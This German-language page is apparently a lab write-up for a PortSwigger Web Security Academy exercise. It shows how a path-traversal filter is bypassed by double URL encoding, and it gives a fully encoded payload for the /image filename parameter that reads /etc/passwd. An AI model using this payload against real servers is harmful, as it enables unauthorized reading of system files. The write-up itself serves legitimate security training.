> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/path-traversal/bypass-by-double-url-decoding.md). # Umgehung durch doppelte URL-Dekodierung Notizen zur Umgehung durch doppelte URL-Dekodierung für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests, Burp-Suite-Validierung und Behebungskontext. ### Dateipfad-Traversal, Traversalsequenzen durch überflüssiges URL-Decoding entfernt Dieses Lab demonstriert eine Pfad-Traversal-Schwachstelle beim Anzeigen der erzeugten Bilder. / Die Anwendung blockiert die Traversalsequenzen im vom Benutzer angegebenen Dateinamen und führt dann vor der Verwendung dieses Werts ein zusätzliches URL-Decoding durch. Das Ziel ist es, den Inhalt der `/etc/passwd` Datei vorhanden sind. Die folgende Standard-Payload funktioniert nicht: ```bash ../../../../../etc/paswd ``` Um diesen Filter zu umgehen, besteht eine Technik darin, **die URL zweimal zu kodieren** und sie in den `Dateinamen` Parameter des `/image` Endpunkt zu senden: {% code overflow="wrap" %} ```bash /image?filename=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%36%35%25%37%34%25%36%33%25%32%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%34 ``` {% endcode %}
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